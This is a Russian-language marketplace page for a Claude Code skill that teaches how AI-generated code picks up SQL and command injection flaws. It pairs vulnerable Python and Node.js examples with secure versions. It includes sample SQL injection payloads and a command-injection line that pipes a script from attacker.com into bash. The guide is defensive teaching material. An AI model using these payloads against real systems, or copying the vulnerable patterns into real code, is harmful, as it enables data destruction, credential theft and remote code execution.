injection-vulnerabilities-ai-generated-code
БесплатноБез исполняемых скриптовНе проверенUnderstand how AI generates SQL injection, command injection, and XSS vulnerabilities. Use this skill when you need to learn about injection attack patterns…
Об этом скилле
Input Validation and Injection Vulnerabilities in AI-Generated Code
The Prevalence of Injection Flaws
Input validation vulnerabilities represent the most common security flaw in AI-generated code. According to a 2025 report from Contrast Security:
"Input validation is often overlooked or implemented incorrectly in AI-generated code, creating openings for injection attacks that can compromise entire systems."
The AI's training on millions of code examples, many containing outdated or insecure patterns, perpetuates these vulnerabilities.
1.1.1 SQL Injection Vulnerabilities
The Problem
SQL injection remains one of the most critical vulnerabilities in AI-generated code. Research from Aikido Security found that when prompted to create database query functions, AI assistants produced vulnerable code in 68% of cases.
AI-Generated Vulnerable Code
# Prompt: "Create a user search function with database"
def search_users(search_term, role=None):
# ❌ VULNERABLE: Direct string concatenation
query = f"SELECT * FROM users WHERE name LIKE '%{search_term}%'"
if role:
# ❌ VULNERABLE: Multiple injection points
query += f" AND role = '{role}'"
cursor.execute(query)
return cursor.fetchall()
# Attack vector:
# search_term = "'; DROP TABLE users; --"
# Resulting query: SELECT * FROM users WHERE name LIKE '%'; DROP TABLE users; --%'
Secure Implementation
def search_users_secure(search_term, role=None):
# ✅ SECURE: Parameterized queries prevent injection
if role:
query = "SELECT * FROM users WHERE name LIKE %s AND role = %s"
params = (f"%{search_term}%", role)
else:
query = "SELECT * FROM users WHERE name LIKE %s"
params = (f"%{search_term}%",)
cursor.execute(query, params)
return cursor.fetchall()
Why AI Generates This Vulnerability
1. Training Data Contamination:
- Millions of code examples use string concatenation
- Older tutorials show f-strings/string formatting for queries
- AI learns these patterns as "normal"
2. Simplicity Bias:
- String concatenation is simpler to generate
- Parameterized queries require understanding database driver specifics
- AI defaults to "easiest" solution
3. Lack of Security Context:
- AI doesn't understand SQL injection attacks
- Can't reason about malicious input
- Focuses on functional correctness, not security
What Makes It Vulnerable
Direct String Interpolation:
f"SELECT * FROM users WHERE name = '{user_input}'"
The Problem:
- User input directly embedded in SQL string
- No separation between code and data
- Attacker can inject SQL commands
Attack Examples:
# Normal use:
search_term = "John"
# Query: SELECT * FROM users WHERE name LIKE '%John%'
# ✓ Returns users named John
# Attack 1: Table drop
search_term = "'; DROP TABLE users; --"
# Query: SELECT * FROM users WHERE name LIKE '%'; DROP TABLE users; --%'
# ✗ Deletes entire users table
# Attack 2: Data exfiltration
search_term = "' UNION SELECT password FROM admin WHERE '1'='1"
# Query: SELECT * FROM users WHERE name LIKE '%' UNION SELECT password FROM admin WHERE '1'='1%'
# ✗ Exposes admin passwords
# Attack 3: Bypass authentication
search_term = "' OR '1'='1"
# Query: SELECT * FROM users WHERE name LIKE '%' OR '1'='1%'
# ✗ Returns all users (always true condition)
Real-World Impact
Equifax Breach (2017):
- SQL injection vulnerability exploited
- 147 million records compromised
- Social security numbers, birth dates, addresses exposed
- Settlement: $575 million
1.1.2 Command Injection Vulnerabilities
The Problem
A 2024 analysis by SecureLeap found that AI models frequently generate code vulnerable to command injection, particularly when dealing with system operations. The models often default to:
- Using
shell=Truein subprocess calls - Direct string concatenation in system commands
- No input validation before shell execution
AI-Generated Vulnerable Code
// Prompt: "Create an image conversion API endpoint"
const { exec } = require('child_process');
app.post('/convert-image', (req, res) => {
const { inputFile, outputFormat, quality } = req.body;
// ❌ VULNERABLE: Unvalidated user input in shell command
const command = `convert ${inputFile} -quality ${quality} output.${outputFormat}`;
exec(command, (error, stdout, stderr) => {
if (error) {
return res.status(500).json({ error: error.message });
}
res.json({ success: true, output: `output.${outputFormat}` });
});
});
// Attack vector:
// inputFile = "test.jpg; curl http://attacker.com/shell.sh | bash"
Secure Implementation
const { spawn } = require('child_process');
const path = require('path');
app.post('/convert-image', (req, res) => {
const { inputFile, outputFormat, quality } = req.body;
// ✅ SECURE: Input validation
Установить injection-vulnerabilities-ai-generated-code в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
Без ограничений — скилл может использовать любой инструмент.
FAQ
Что делает скилл injection-vulnerabilities-ai-generated-code?
Understand how AI generates SQL injection, command injection, and XSS vulnerabilities. Use this skill when you need to learn about injection attack patterns in AI code, see real-world examples of injection vulnerabilities, understand why AI generates insecure database queries, or recognize vulnerable code patterns. Triggers include "SQL injection AI", "command injection", "XSS vulnerabilities", "injection attacks", "AI database queries", "shell injection", "cross-site scripting AI code".
Как установить скилл injection-vulnerabilities-ai-generated-code?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл injection-vulnerabilities-ai-generated-code запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
mcp-builder
Guide for creating high-quality MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. Use when…
от Anthropicclaude-api
Reference for the Claude API / Anthropic SDK — model ids, pricing, params, streaming, tool use, MCP, agents, caching, token counting, model migration. TRIGGER…
от Anthropicalgorithmic-art
Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code…
от Anthropicmcp-integration
This skill should be used when the user asks to "add MCP server", "integrate MCP", "configure MCP in plugin", "use .mcp.json", "set up Model Context…
от Anthropic